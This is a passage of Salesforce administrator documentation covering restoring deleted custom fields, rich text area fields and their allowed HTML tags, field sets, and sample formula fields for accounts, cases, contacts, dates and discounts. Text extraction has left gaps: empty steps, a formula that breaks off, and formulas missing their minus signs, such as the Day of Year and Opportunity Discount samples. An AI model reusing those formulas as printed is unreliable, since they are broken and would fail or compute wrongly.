rules. For information on dependent picklists, see Defining Dependent Picklists on page 1066.
Click New in the Validation Rules related list to create a new validation rule for the field. Click Edit to change a
validation rule or Del to remove it. See Defining Validation Rules on page 1161.
For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for
Updating Picklists on page 1061.
1103
Customize
To change External ID, Required, or other attributes under the General Options section, see Custom Field
Attributes on page 1081.
Click Undelete to restore the field and its data. This is only available if the field has been deleted but not permanently
erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted
Custom Fields on page 1105.
Note: If your organization uses person accounts, the Account Fields page lists both person account and business
account fields.
Person accounts use a combination of account and contact fields. The following contact fields are available for person
accounts:
Fields in the Account Standard Fields list that display with a person account icon.
Fields in the Contact Custom Fields & Relationships list.
These contact fields are not available for business accounts. To customize these fields, go to Your Name > Setup >
Customize > Contacts > Fields.
For more information, see What is a Person Account? on page 68.
See Also:
Customizing Fields
Custom Settings Overview
Deleting Fields
Available in: All Editions
Customize Application
1104
Customize
Note:
Before deleting a custom field, consider where it is referenced. You cant delete a custom field that is referenced
elsewhere. For example, you cannot delete a custom field that is referenced by a field update or Apex.
When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
A background process periodically runs that cleans up metadata associated with deleted custom fields. This process
will affect the Last Modified Date and Last Modified By fields on page layouts, record types, and custom
objects.
See Also:
Tracking Field History
Customize Application
Customize Application
Deleted custom fields and their data are stored until your organization permanently deletes them or 15 days has elapsed,
whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against the
maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields and
relationships allowed in your organization, see Salesforce Editions and Limits on page 2076.
To view a list of your deleted custom fields and relationships:
1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the
total number of deleted custom fields for this object. This link only displays when you have a deleted custom field.
4. Use the list of deleted fields to perform the following actions:
1105
Customize
b. Make the field unique if necessary. Salesforce automatically removes the unique attribute from any deleted custom
field.
c. Make the field required if necessary. Salesforce automatically removes the required attribute for any deleted custom
field.
d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce automatically removes
deleted custom fields from packages that contain them.
e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce converts all relationships to
lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship, populate
all the applicable records with the appropriate data.
f. Redefine any field dependencies that Salesforce removed when the field was deleted.
g. Edit and save any formula fields, prompting a syntax check that you may have to resolve.
h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during
the time the custom field was deleted, the restored field is no longer set up to track field history.
The following characters are appended to the end of a custom field's developer name when it is deleted unless a deleted
field already has that developer name: _del. These characters remain when you restore the custom field.
Formula fields are restored in a disabled state, which means they do not contain updated data until you edit and save them.
While a formula field is disabled, #Error! displays in place of the formula value.
Restored fields do not display in search results immediately after you restore them. It may take a short time before the
restored custom field and its data are available in search results.
Lead fields that are mapped to account, contact, or opportunity fields for lead conversion are still mapped accordingly
when restored.
Auto number fields continue to increment after they are deleted and contain the correct values when restored.
Field history data for the deleted custom field is restored.
1106
Customize
See Also:
Changing Custom Field Type
"Customize Application"
To improve the appearance of text, including adding images and hyperlinks, create rich text area custom fields. Rich text area
fields use the Salesforce HTML editor to format content.
Implementation Tips
Before creating rich text area custom fields, note the following:
Salesforce supports up to 32,768 characters for each rich text area field, including the HTML tags. If desired, you can set
a lower limit.
When you view or print content, Salesforce preserves the formatted version of the HTML in rich text area fields.
Searches of content that contains rich text area fields ignore images and tags.
Deleting a rich text area field moves it to the Deleted Fields section on the custom object or Salesforce Knowledge article
types.
There are no limits to the number of rich text area and long text area fields that an object can contain, although your
Edition's limit for the total number of custom fields allowed on an object, regardless of field type, applies. Each object can
contain a total of 1.6 million characters across long text area and rich text area fields. The default character limit for long
text area and rich text area fields is 32,768 characters. A long text area or rich text area field needs to contain at least 256
characters.
Maximum size for uploaded images is 1 MB. Only .gif, .jpg and .png file types are supported.
You can only convert rich text area fields into long text area fields. Any images are deleted the next time the long text area
field is saved. After converting, markup is hidden in the long text area field but it is not removed from the record until you
save the record. That way, the markup can be restored if you change your mind.
You can't add a hyperlink to an image.
There is no support for disabling specific rich text area features. For example, you can't disable support for hyperlinks or
images on certain fields.
HTML code is not supported in the Salesforce HTML editor. HTML code is treated as text.
1107
Customize
JavaScript or CSS is treated as text. For example, if you're creating an Idea through the API, any JavaScript or CSS code
is removed without warning.
If you're creating an Idea through the API, some tags and attributes are filtered without warning. Salesforce supports a
limited number of approved HTML tags.
Rich text area fields can be filtered and summarized in reports, but the HTML tags are included as text.
Only the first 254 characters in a rich text area or a long text area are displayed in a report. If you download the report, the
entire field is available.
When a rich text area field is used in a formula, the HTML tags are stripped out before the formula is run. For example,
when a rich text area field is used in a validation rule's criteria, the HTML tags are removed before the evaluation.
Rich text area fields aren't available in self service portals. They are available in partner portals and customer portals.
Images uploaded within a rich text area field are extracted in the organization's weekly export and included in the exported
data.
The mobile application treats the rich text area field like a long-text area field, which doesn't support formatted HTML
content and images. The mobile application truncates the field at 1,000 characters, and the 1,000 character limit includes
HTML markup. Administrators should consider removing rich text area fields from mobile page layouts. If a mobile user
edits a rich text area field containing an existing text entry over 1,000 characters, the mobile application will truncate the
text in the field.
The text part of rich text area fields counts towards data storage for the entity that contains the field. The uploaded images
within the rich text area fields are counted towards file storage for the entity that contains the field.
The rich text area field is available in the API.
Best Practices
You can specify how big the editor box should be for this field by configuring the Number of lines displayed property in
the fields setup.
We recommend using the rich text area field in a one column page layout; the field's formatting toolbar is ideal for a single
column.
To upload many images, use the API version 20 or later. For more information, see Configuring the Data Loader to Use
the Bulk API and the Force.com SOAP API Developer's Guide.
Note: When uploading images with the API, the alt attribute is not populated unless specified separately.
See Also:
Creating Custom Fields
Adding Custom Fields to Article Types
1108
Customize
"Customize Application"
To improve the appearance of text in custom fields, use the Salesforce HTML editor to format custom fields that were defined
with the rich text area custom field type. The Salesforce HTML editor provides a WYSIWYG interface, allowing you to
perform basic formatting operations. You can:
Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users
Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a
larger font size
Itemizing steps in a numbered or bulleted list to help users better understand a procedure
Supporting your company's brand identity by specifying the URL of a logo on your website
Including a link to a related and accessible page of your company's website
Because the Salesforce HTML editor provides a WYSIWYG interface only, you do not edit HTML tags.
If you copy content from a Web page and paste it into the editor's window, Salesforce automatically removes unsupported
tags and may preserve the text that was enclosed in unsupported tags as plain text. Note that Salesforce does not notify
users when it removes unsupported or potentially malicious HTML.
The maximum number of characters you can enter in the Salesforce HTML editor window is equal to the field length
specified when creating or editing the field. The default is 32,768 characters.
When clicked, hyperlinks open in a new browser window. The Salesforce HTML editor supports HTTP, HTTPS, and
mailto hyperlinks.
When a record is saved, the Salesforce HTML editor does not validate hyperlinks to Web pages. Be sure to confirm that
you are specifying a URL that Salesforce can access.
To insert an image, click
1109
Customize
Optionally, enter a description that appears when a user hovers over the image. The image must have a URL that Salesforce
can access.
The Salesforce HTML editor supports all languages that Salesforce Knowledge supports.
The Salesforce HTML editor does not support JavaScript or Cascading Style Sheets (CSS).
The Salesforce HTML editor is disabled for users who have accessibility mode enabled; it's replaced with a text box. This
text box only accepts HTML and does not recognize plain text entries like carriage returns. To separate content, you must
use paragraph or line break HTML tags.
Note:
When Salesforce Knowledge is enabled, the HTML Editor includes extra features such as the ability to embed
multimedia content, use drop-down lists, or select colors for text or backgrounds. Make sure that your browser security
settings allow you to access these features. Some browser security settings can block these features. For example, if
browser security is set to high in Internet Explorer 7, <iframe> content does not appear in the frame, drop-down
lists are unavailable, and color cannot be selected for backgrounds or text.
<dt>
<q>
<abbr>
<em>
<samp>
<acronym>
<font>
<small>
<address>
<h1>
<span>
<b>
<h2>
<strike>
<bdo>
<h3>
<strong>
<big>
<h4>
<sub>
<blockquote>
<h5>
<sup>
<br>
<h6>
<table>
<caption>
<hr>
<tbody>
<cite>
<i>
<td>
<code>
<img>
<tfoot>
<col>
<ins>
<th>
<colgroup>
<kbd>
<thead>
<dd>
<li>
<tr>
<del>
<ol>
<tt>
<dfn>
<p>
<ul>
<div>
<pre>
<var>
<dl>
1110
Customize
Note: When enabled from the Knowledge Settings page, users can cut and paste <iframe> HTML elements to
embed multimedia content in articles using one of two methods:
Click
Click
to paste the <iframe> element into a text box on the Embed Multimedia Content dialog box. The
frame and its contents are added to the article.
Users can paste <iframe> HTML code that is copied from the following sites: Dailymotion, Vimeo, or YouTube.
Make sure that your browser security settings allow you to embed multimedia content. Some browser security settings
can block <iframe> elements. For example, if browser security is set to high in Internet Explorer 7, <iframe> content
does not appear in the frame.
The tags can include the following attributes:
alt
face
size
background
height
src
border
href
style
class
name
target
colspan
rowspan
width
The attributes can include URLs that begin with the following:
http:
https:
file:
ftp:
mailto:
#
/ for relative links
See Also:
Using Rich Text Area Fields
Enabling Accessibility Mode
Note: This release contains a beta version of field sets that is production-quality but has known limitations.
A field set is a grouping of fields. For example, you could have a field set that contains fields describing a user's first name,
middle name, last name, and business title. When a field set is added to a Visualforce page, developers can loop over its fields
1111
Customize
and render them. If the page is added to a managed package, administrators can add, remove, or reorder fields in a field set
to modify the fields presented on the Visualforce page without modifying any code. The same Visualforce page can present
different sets of information, depending on which fields a subscriber prefers to keep.
As an administrator, you can create or edit field sets for your organization, or edit any installed field set. Field sets are available
on all standard objects that support custom fields, and any organization that supports creating Visualforce pages.
Fields added to a field set can be in one of two categories:
If a field is marked as Available for the Field Set, it exists in the field set, but the developer hasnt presented it
on the packaged Visualforce page. Administrators can display the field after the field set is deployed by moving it from the
Available column to the In the Field Set column.
If a field is marked as In the Field Set, the developer has rendered the field on the packaged Visualforce page by
default. Administrators can remove the field from the page after the field set is deployed by removing it from the In the
Field Set column.
When you install a field set from a package, the fields in your field set may be modified from a later package upgrade. The
following table lists the impact on your field set after a package upgrade:
If a package developer...
The new field is placed at the end of the upgraded field set in
whichever column it was added to.
Note: Merging has the potential to remove fields in your field set.
See Also:
Creating and Editing Field Sets
Field Sets Required Bit
Creating Custom Fields
Developer's Guide: Visualforce Developer's Guide
Implementation guide: Force.com Quick Reference for Developing Packages.
1112
Customize
Note: This release contains a beta version of field sets that is production-quality but has known limitations.
Salesforce has a drag-and-drop WYSIWYG tool for creating and editing field sets The enhanced field sets editor is enabled
by default, and provides all of the functionality of the original editor, as well as additional functionality and an easier-to-use
WYSIWYG interface.
To create a new field set:
1. Navigate to the field set list of the appropriate object:
For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Field Sets.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
Then click New above the field sets related list.
2. Enter a Field Set Label. This is the name presented to subscribers who install the field through a managed package.
3. Enter a Field Set Name for your field set. This is used by your Visualforce page to reference the field set.
4. In the Where is this used? area, provide a brief description of which Visualforce pages use the field set, and for what
purpose. This information helps a subscriber understand where and how an installed field set is being used, so that they
can populate it with their own fields.
5. Click Save.
6. To add fields to the field set, drag the fields from the object palette and drop them into the Available for the Field
Set or the In the Field Set container. The fields in the Available for the Field Set container are not
initially visible on the Visualforce page. The fields within the In the Field Set container are visible by default on a
Visualforce page.
Note: In the field set, you can span to fields that reference multiple objects. When you span a field into a field set
that references multiple objects, the only field you can span to is the Name object.
To move a field between the lists, drag and drop a field from one container to the other. The vertical order of the In the
Field Set list indicates the order of how the fields render on Visualforce pages.
7. To remove a field from the field set, drag the element back to the object palette, or click the
8. To make a field required, double click the element or click the wrench icon (
checkbox.
Note:
Indicates the field is required and must have a value to save the record.
9. Click Save.
1113
Customize
About Formulas
Important: The total number of cross object spans within the In the Field Set container can't exceed 25.
After a field set is deployed in your organization, you can always mark fields that are in the Available for the Field
Set list as In the Field Set, or vice versa. To do so:
1. Find the field set that you want to edit by going to Your Name > Setup > Installed Packages, clicking on an installed
package, and then clicking on the field set you want to edit. Alternatively, if you know which object contains the field set
you want to edit, go to the object detail page and click Edit in the field set related list.
2. If you didn't create the field set initially, you'll only be able to edit the fields within the field set. To move fields between
containers, drag and drop a field from one container to the other. To change the order of a rendered field, drag a field up
or down the list and drop the field in the order you want it to appear.
3. Click Save.
Note: This release contains a beta version of field sets that is production-quality but has known limitations.
You can define a field as required when you create or edit field sets. You may want to define a field as required to ensure a
user enters the necessary information on a field. The required field is only available in the In the Field Set container. If
you define a field as required in the In the Field Set container, and remove the field from the In the Field Set,
the required attribute is removed.
To define a field as required in a field set, see Creating and Editing Field Sets on page 1113
See Also:
About Field Sets
Creating and Editing Field Sets
About Formulas
Available in: All Editions
Reports and Approvals are not available in Database.com
A formula is an algorithm that derives its value from other fields, expressions, or values. Formulas can help you automatically
calculate the value of a field based on other fields. Use formulas for:
Custom Fields
1114
Customize
About Formulas
Create custom formula fields that automatically calculate a value based on other values, merge fields, or expressions. Users
can view formula fields on record detail pages but cannot see the underlying algorithm nor can they edit the value of a
formula field. To create a custom formula field, see Building Formulas on page 1147.
Data Validations
Verify that the data a user enters in a record meets the standards you specify before the user can save the record. A validation
rule can include a formula such as CloseDate >= TODAY(). See About Validation Rules on page 1160.
Reports
Create custom summary formulas in your reports to calculate additional totals based on the existing summaries in that
report. To begin creating a custom summary formula, see Building Custom Summary Formulas on page 2951.
Workflow Rules
Define the criteria a record must meet to trigger a workflow rule. See Creating Workflow Rules on page 1778.
Approval Processes
Define the criteria a record must meet to enter the approval process. See Creating Approval Processes on page 1838.
Approval Steps
Define the criteria a record must meet to enter the approval step. See Creating Approval Steps on page 1845.
Escalation Rules
Define the conditions that a case must match to be escalated. See Setting Up Escalation Rules on page 1309.
Assignment Rules
Define the conditions that the lead or case must match for it to be assigned. See Setting Up Assignment Rules on page
1306.
S-Controls
Define the content for s-controls. See Defining Custom S-Controls on page 2124.
Visualforce Pages
Define the content for Visualforce pages. See Defining Visualforce Pages on page 2103.
For common uses of formulas, see Formulas: How Do I... on page 1119.
1115
Customize
About Formulas
Note: Custom formula fields are not available in Connect Offline, Web-to-Lead forms, or Web-to-Case forms.
See Also:
Using Formulas in Salesforce
Description
Currency
Date
Date/time
Number
Percent
Text
1116
Customize
About Formulas
Data Type
Description
address, and auto-number fields. This data type is not available
for custom summary formulas in reports.
See Also:
Building Formulas
About Formulas
Elements of a Formula
A formula can contain references to the values of fields, operators, functions, literal values, or other formulas. Use any or all
of the elements in the following table to build a formula. For more details about building formulas, see Building Formulas on
page 1147.
Element Name
Description
Literal Value
1117
Customize
About Formulas
Element Name
Description
Function
Operator
Comment
1118
Customize
About Formulas
Element Name
Description
See Also:
Building Formulas
Building Custom Summary Formulas
Quick Reference Guide: Formula Fields
Customize Application
Add numbers?
Convert text into a number?
Divide numbers?
Multiply numbers?
Round numbers?
Subtract numbers?
Advanced Formulas
1119
Customize
About Formulas
Calculate the sum of all leads that have Email Opt Out and Do Not Call fields selected?
Calculate the difference of all Amount fields and all Discounted Amount fields on opportunities?
Calculate the average age of all opportunities?
Calculate what percent of all opportunities are closed won?
Calculate the number of active Salesforce users to the 2nd power for administration?
Calculate the duration of all activities (minutes) times the number of records per 24 hours?
Calculate the average percent margin on a product-by-product level across many opportunities?
Calculate the percentage of one product compared to all products in closed opportunities?
Calculate the change in revenue from opportunities between months?
Cross-Object Formulas
Customize Application
Use the following formula samples when creating custom formula fields. For samples of other types of formulas, see Examples
of Validation Rules on page 1162 and Useful Default Field Value Formulas on page 1157.
This document contains the following categories of custom formula samples:
Account Management
Account Media Service Links
Case Management
Commission Calculations
Contact Management
Data Categorization
1120
Customize
About Formulas
Date Calculations
Discounting
Employee Services
Expense Tracking
Financial Calculations
Image Links
Integration Links
Lead Management
Metrics
Opportunity Management
Pricing
Project Management
Scoring Calculations
See Also:
About Formulas
Operators and Functions
Formulas: How Do I...
Tips on Building Formulas
Quick Reference Guide: Formula Fields
Account Management
Account Rating
This formula evaluates Annual Revenue, Billing Country, and Type, and assigns a value of Hot, Warm, or Cold.
IF (AND (AnnualRevenue > 10000000,
CONTAINS (CASE (BillingCountry, "United States", "US", "America", "US", "USA", "US", "NA"),
"US")),
IF(ISPICKVAL(Type, "Manufacturing Partner"), "Hot",
IF(OR (ISPICKVAL (Type, "Channel Partner/Reseller"),
ISPICKVAL(Type, "Installation Partner")), "Warm", "Cold")),
"Cold")
For details about using these functions, see IF on page 1222, AND on page 1212, CONTAINS on page 1216, CASE on page 1214,
and ISPICKVAL on page 1229.
In addition, you can reference this Account Rating formula field from the contact object using cross-object formulas.
Account.Account_Rating__c
Account Region
This formula returns a text value of North, South, East, West, or Central based on the Billing State/Province
of the account.
IF(ISBLANK(BillingState), "None",
IF(CONTAINS("AK:AZ:CA:HA:NV:NM:OR:UT:WA", BillingState), "West",
1121
Customize
About Formulas
For details about using these functions, see IF on page 1222, LEN on page 1231, and CONTAINS on page 1216.
Contract Aging
This formula calculates the number of days since a contract with an account was activated. If the contract Status is not
Activated, this field is blank.
IF(ISPICKVAL(Contract_Status__c, "Activated"),
NOW() - Contract_Activated_Date__c, null)
For details about using these functions, see IF on page 1222, ISPICKVAL on page 1229, and NOW on page 1236.
Contract Approval Process Aging
This formula calculates how many days in the sample are left.
TODAY()-Sample_date_c
For details about using this function, see TODAY on page 1245.
Month of Last Account Activity
This formula field displays the month of the last activity or None if there are no activities.
CASE(MONTH(LastActivityDate),
1, "January",
2, "February",
3, "March",
4, "April",
5, "May",
6, "June",
7, "July",
8, "August",
9, "September",
10, "October",
11, "November",
12, "December",
"None")
For details about using these functions, see CASE on page 1214 and MONTH on page 1236.
Month of Service-Level Agreement Expiration
This formula returns the month that your service-level agreement expires. This example uses a custom date field called SLA
Expiration Date.
MONTH(SLAExpirationDate__c)
For details about using this function, see MONTH on page 1236.
1122
Customize
About Formulas
MarketWatch Search
This formula creates a link to an account's ticker symbol on the Marketwatch.com website.
HYPERLINK(
"http://www.marketwatch.com/tools/quotes/quotes.asp?symb="&TickerSymbol,
"Marketwatch")
Google Search
This formula creates a link to a Google search site using the Account Name.
HYPERLINK(
"http://www.google.com/search?en&q="&Name,
"Google")
1123
Customize
About Formulas
Yahoo! Search
This formula creates a link to a Yahoo! search site using the Account Name.
HYPERLINK(
"http://search.yahoo.com/search?p="&Name,
"Yahoo Search")
For details about using the function used in these formulas, see HYPERLINK on page 1221.
Case Management
Autodial
This formula creates a linkable phone number field that automatically dials the phone number when clicked. In this example,
replace "servername" and "call" with the name of your dialing tool and the command it uses to dial. The merge field,
Id, inserts the identifier for the contact, lead, or account record. The first Phone merge field tells the dialing tool what number
to call and the last Phone merge field uses the value of the Phone field as the linkable text the user clicks to dial.
HYPERLINK("http://servername/call?id="
& Id & "&phone=" & Phone, Phone)
For details about using this function, see HYPERLINK on page 1221.
Case Aging (Assignments)
Use this example of a custom formula field called Days Open to display different text depending on the number of days a
case has been open:
CASE(Days_Open__c, 3,
"Reassign", 2, "Assign Task", "Maintain")
For details about using this function, see CASE on page 1214.
1124
Customize
About Formulas
For details about using these functions, see IF on page 1222 and NOW on page 1236.
Case Aging (Open and Closed Cases)
This formula calculates the number of days a closed case was open or the number of days an open case has been open since
the date the case was created. The formula returns zero if the case has been open for less than 24 hours.
IF(IsClosed,
ROUND(ClosedDate - CreatedDate, 0), ROUND((NOW() - CreatedDate),0))
For details about using these functions, see IF on page 1222, ROUND on page 1242, and NOW on page 1236.
Case Categorization
This formula displays a text value of RED, YELLOW, or GREEN, depending on the value of a case age custom text
field.
IF(DaysOpen__c > 20, "RED",
IF(DaysOpen__c > 10, "YELLOW",
"GREEN") )
For details about using these functions, see IF on page 1222 and ISBLANK on page 1226.
Case Due Date Calculation
This formula sets the due date of a case based on the priority. If it is high, the due date is two days after it opens. If it is
medium, the due date is five days after opening. Otherwise, the due date is seven days.
CASE (Priority,
"High", CreatedDate + 2,
"Medium",CreatedDate + 5,
CreatedDate + 7)
For details about using this function, see CASE on page 1214.
1125
Customize
About Formulas
For details about using this function, see CASE on page 1214.
Suggested Offers
This formula suggests a product based on the support history for a computer reseller. When the Problem custom field matches
a field, the formula field returns a suggestion.
CASE(Problem__c,
"Memory", "Suggest new memory cards", "Hard Drive failure", "Suggest new hard drive with
tape backup",
"")
For details about using this function, see CASE on page 1214.
Commission Calculations
Commission Amounts for Opportunities
The following is a simple formula where commission is based on a flat 2% of the opportunity Amount.
IF(ISPICKVAL(StageName, "Closed Won"),
ROUND(Amount *0.02, 2), 0)
This example calculates the commission amount for any opportunity that has a Closed Won stage. The value of this field
will be the amount times 0.02 for any closed/won opportunity. Open or lost opportunities will have a zero commission value.
For details about using these functions, see IF on page 1222, ISPICKVAL on page 1229, and ROUND on page 1242.
Commission Deal Size
This formula calculates a commission rate based on deal size, returning a 9% commission rate for deals over 100,000 and an
8% commission rate for smaller deals.
IF(Amount > 100000, 0.09, 0.08 )
1126
Customize
About Formulas
Commission Maximum
This formula determines what commission to log for an asset based on which is greater: the user's commission percentage of
the price, the price times the discount percent stored for the account or 100 dollars. This example assumes you have two custom
percent fields on users and assets.
MAX($User.Commission_Percent__c * Price,
Price * Account_Discount__c, 100)
For details about using this function, see MAX on page 1234.
Contact Management
Contact's Account Creation Date
This date formula displays the account's Created Date field on the contacts page.
Account.CreatedDate
For details about using this function, see CASE on page 1214.
Contact's Account Website
This formula displays the standard Account Website field on the contacts page.
Account.Website
1127
Customize
About Formulas
If the account website URL is long, use the HYPERLINK function to display a label such as Click Here instead of the
URL. For example:
IF(Account.Website="", "",
IF(
OR(LEFT(Account.Website, 7) = "http://",LEFT(Account.Website, 8) = "https://"),
HYPERLINK( Account.Website , "Click Here" ),
HYPERLINK( "http://" & Account.Website , "Click Here" )
)
)
This formula also adds the necessary "http://" or "https://" before a URL if neither were included in the URL field.
For details about using this function, see HYPERLINK on page 1221.
Contacts Age
Use this formula to calculate a persons age based on a standard field called Birthdate. The persons Birthdate is subtracted
from todays date, which returns the number of days since the persons Birthdate. This number is divided by the number
of days in a year and rounded down to the nearest integer.
FLOOR((TODAY()-Birthdate)/365.2425)
For details about using these functions, see FLOOR on page 1219 and TODAY on page 1245.
Contact's Birthday
This formula displays the value Yes if the contacts birthday falls in the current calendar month.
IF (
MONTH( Birthdate) = MONTH( TODAY()), "Yes", "")
For details about using these functions, see IF on page 1222, MONTH on page 1236, and TODAY on page 1245.
Contact's LinkedIn Profile
You can configure a link that appears on your contacts' profile page that sends you to their LinkedIn profile. To do so:
1.
2.
3.
4.
5. Click Save.
Remember to add this link to the Contact page layout in order for it to show up.
Contact Identification Numbering
This formula displays the first five characters ofta name and the last four characters of a social security number separated by
a dash. Note that this example uses a text custom field called SSN.
TRIM(LEFT(LastName,
5)) & "-" & TRIM(RIGHT(SSN__c, 4))
1128
Customize
About Formulas
For details about using these functions, see TRIM on page 1246, LEFT on page 1231, and RIGHT on page 1241.
Contact Preferred Phone
This formula displays the contacts preferred contact method in a contact related listwork phone, home phone, or mobile
phonebased on a selected option in a Preferred Phone custom picklist.
CASE(Preferred_Phone__c,
"Work", "w. " & Phone,
"Home", "h. " & HomePhone,
"Mobile", "m. " & MobilePhone,
"No Preferred Phone")
For details about using this function, see CASE on page 1214.
Contact Priority
This formula assesses the importance of a contact based on the account rating and the contact's title. If the account rating is
Hot or the title starts with Executive, then the priority is high (P1). If the account rating is Warm or the title starts with VP
then the priority is medium (P2), and if the account rating is Cold then the priority is low (P3).
IF(OR(ISPICKVAL(Account.Rating, "Hot"), CONTAINS(Title, "Executive")), "P1",
IF(OR(ISPICKVAL(Account.Rating, "Warm"), CONTAINS(Title, "VP")), "P2",
IF(ISPICKVAL(Account.Rating, "Cold"), "P3",
"P3")
)
)
Contact Yahoo! ID
This formula displays a clickable Yahoo! Messenger icon indicating if the person is logged on to the service. Users can click
the icon to launch a Yahoo! Messenger conversation with the person. This example uses a custom text field called Yahoo
Name on contacts where you can store the contact's Yahoo! Messenger ID.
HYPERLINK("ymsgr:sendIM?"
& Yahoo_Name__c, IMAGE("http://opi.yahoo.com/online?u=" &
Yahoo_Name__c & "&m;=g&t;=0", "Yahoo"))
For details about using these functions, see HYPERLINK on page 1221 and IMAGE on page 1224.
Dynamic Address Formatting
This formula field displays a formatted mailing address for a contact in standard format, including spaces and line breaks
where appropriate depending on the country.
CASE(ShippingCountry,
"USA",
ShippingStreet & BR() &
ShippingCity & ",
" & ShippingState & " " &
ShippingPostalCode & BR()
& ShippingCountry,
"France",
ShippingStreet & BR() &
ShippingPostalCode & " " &
1129
Customize
About Formulas
For details about using this function, see CASE on page 1214 and BR on page 1213.
Telephone Country Code
This formula determines the telephone country code of a contact based on the Mailing Country of the mailing address.
CASE(MailingCountry,
"USA", "1",
"Canada", "1",
"France", "33",
"UK", "44",
"Australia", "61",
"Japan", "81",
"?")
For details about using this function, see CASE on page 1214.
Unformatted Phone Number
This formula removes the parentheses and dash characters from North American phone numbers. This is necessary for some
auto-dialer software.
IF(Country_Code__c = "1", MID( Phone ,2, 3) & MID(Phone,7,3) & MID(Phone,11,4), Phone)
For details about using these functions, see IF on page 1222 and MID on page 1235.
Data Categorization
Deal Size Large and Small
This formula displays Large Deal for deals over one million dollars or Small Deal for deals under one million dollars.
IF(Sales_Price__c > 1000000,
"Large Deal",
"Small Deal")
For details about using these functions, see IF on page 1222 and AND on page 1212.
1130
Customize
About Formulas
Product Categorization
This formula checks the content of a custom text field named Product_Type and returns Parts for any product with the
word part in it. Otherwise, it returns Service. Note that the values are case sensitive, so if a Product_Type field contains
the text Part or PART, this formula returns Services.
IF(CONTAINS(Product_Type__c, "part"), "Parts", "Service")
For details about using these functions, see IF on page 1222 and CONTAINS on page 1216.
Date Calculations
Birthday in Current Year Accounting for Leap Years
This formula returns the date of a person's birthday in the current year, even if the person's birthday is on February 29th in a
leap year.
IF(AND(MONTH(Birthdate) = 2, DAY(Birthdate) = 29),
(IF(OR(MOD(YEAR(DATEVALUE(NOW())), 400) = 0, AND(MOD(YEAR(DATEVALUE(NOW())) ,4) = 0,
MOD(YEAR(DATEVALUE(NOW())), 100) <> 0)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate), DAY(Birthdate)),
DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate + 1), 28))),
(DATE(YEAR(DATEVALUE(NOW())), MONTH(Birthdate) , DAY(Birthdate))))
Similarly, this formula substitutes the TODAY() function shown in the previous example with a custom date field called Sign
Up Date. It returns the day of the week as a number for that field.
MOD(Sign_Up_Date__c - DATE(1900, 1, 7), 7)
For details about using these functions, see MOD on page 1235, TODAY on page 1245, and DATE on page 1217.
Day of Week (text)
This formula calculates todays day of the week and displays it as text. To determine the day of the week for a date field, use
the formula below and replace TODAY() with that date field.
CASE(
MOD(TODAY() - DATE(1900, 1, 7), 7),
0, "Sunday",
1, "Monday",
2, "Tuesday",
3, "Wednesday",
4, "Thursday",
5, "Friday",
6, "Saturday", "Error")
For details about using these functions, see CASE on page 1214, MOD on page 1235, TODAY on page 1245, and DATE on page
1217.
1131
Customize
About Formulas
Day of Year
This formula calculates todays numeric day of the year (a number between 1 and 365).
TODAY() DATE(YEAR(TODAY()), 1, 1) + 1
For details about using these functions, see TODAY on page 1245, DATE on page 1217, and YEAR on page 1250.
Days Until End of Month
This formula displays the number of days between a specific date and the end of the month in which the date occurs.
IF(
MONTH(CloseDate)=12,
DATE(YEAR(CloseDate),12,31) - CloseDate,
DATE(YEAR(CloseDate),
MONTH(CloseDate)+1,1) - CloseDate-1)
For details about using these functions, see IF on page 1222, MONTH on page 1236, DATE on page 1217, and YEAR on page
1250.
Time of Day
This formula returns the time of day in Greenwich Mean Time (GMT), for example: 08:04 PM).
MID (TEXT (Due_Date_Time__c), 12, 5)
For details about using these functions, see MID on page 1235 and TEXT on page 1244.
Discounting
Maintenance and Services Discount
This formula field uses two custom currency fields: Maintenance Amount and Services Amount. It displays Discounted
on an opportunity if its maintenance amount and services amount do not equal the opportunity Amount standard field value.
Otherwise, it displays "Full Price."
IF(Maintenance_Amount__c + Services_Amount__c <> Amount,
"Discounted",
"Full Price")
For details about using this operator, see - (Subtract) on page 1208.
1132
Customize
About Formulas
For details about using this function, see ROUND on page 1242.
Opportunity Discount with Approval
This formula adds a Discount Approved checkbox to an opportunity. It uses conditional logic to check the value of the
approval flag before calculating the commission.
IF(Discount_Approved__c, ROUND(Amount Amount * DiscountPercent__c, 2), Amount)
For details about using these functions, see IF on page 1222 and ROUND on page 1242.
Employee Services
Bonus Calculation
This example determines an employee's bonus amount based on the smallest of two amounts: the employee's gross times bonus
percent or an equally divided amount of the company's performance amount among all employees. It assumes you have custom
number field for Number of Employees, a custom percent field for Bonus Percent, and currency custom fields for the
employee's Gross and company's Performance.
MIN(Gross__c * Bonus_Percent__c,
Performance__c / Number_of_Employees__c)
For details about using this function, see MIN on page 1235.
Employee 401K
This example formula determines which amount to provide in employee 401K matching based on a matching program of half
of the employee's contribution or $250, whichever is less. It assumes you have custom currency field for Contribution.
MIN(250, Contribution__c /2)
For details about using this function, see MIN on page 1235.
Hours Worked Per Week
This formula uses a custom tab to enable time tracking of hours worked per day. It uses a formula field to sum the hours per
week.
MonHours__c + TuesHours__c + WedsHours__c + ThursHours__c + FriHours__c
For details about using this operator, see + (Add) on page 1207.
1133
Customize
About Formulas
Expense Tracking
Expense Identifier
This formula displays the text Expense- followed by trip name and the expense number. This is a text formula field that
uses an expense number custom field.
"Expense-"
& Trip_Name__c & "-" & ExpenseNum__c
For details about using this operator, see - (Subtract) on page 1208.
Mileage Calculation
This formula calculates mileage expenses for visiting a customer site at 35 cents a mile.
Miles_Driven__c * 0.35
For details about using this operator, see * (Multiply) on page 1208.
Financial Calculations
Compound Interest
